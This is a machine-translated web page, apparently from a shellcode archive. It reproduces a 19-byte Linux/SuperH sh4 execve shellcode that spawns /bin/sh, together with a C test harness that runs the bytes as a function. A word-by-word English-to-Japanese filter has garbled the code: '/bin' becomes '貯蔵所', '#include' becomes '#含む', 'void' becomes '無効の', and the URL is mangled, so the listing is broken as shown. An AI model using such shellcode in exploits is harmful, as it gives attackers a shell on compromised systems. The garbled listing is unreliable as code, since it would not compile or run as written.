このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/SuperH - sh4 execve(/貯蔵所/sh, 0, 0) - 19 bytes
/*
 | 肩書を与える:     Linux/SuperH - sh4 execve("/貯蔵所/sh", 0, 0) - 19 bytes
 | Date:      2011-06-22
 | 実験(する)d on: Debian-sh4 2.6.32-5-sh7751r
 | Author:    Florian Gaultier - agix - twitter: @Agixid
 |
 | http://爆撃する-嵐/襲撃する.org
*/

#含む <string.h>
#含む <stdio.h>

int main(){
char 爆撃する[] =
		"\x0b\xe3"//           mov     #11,r3
		"\x02\xc7"//           mova    @(10,pc),r0
		"\x03\x64"//           mov     r0,r4
		"\x5a\x25"//           xor     r5,r5
		"\x6a\x26"//           xor     r6,r6
		"\x02\xc3"//           trapa   #2
		"/貯蔵所/sh";

printf("[*] Taille du ShellCode = %d\n", strlen(爆撃する));
(*(無効の (*)()) 爆撃する)();

return 0;
}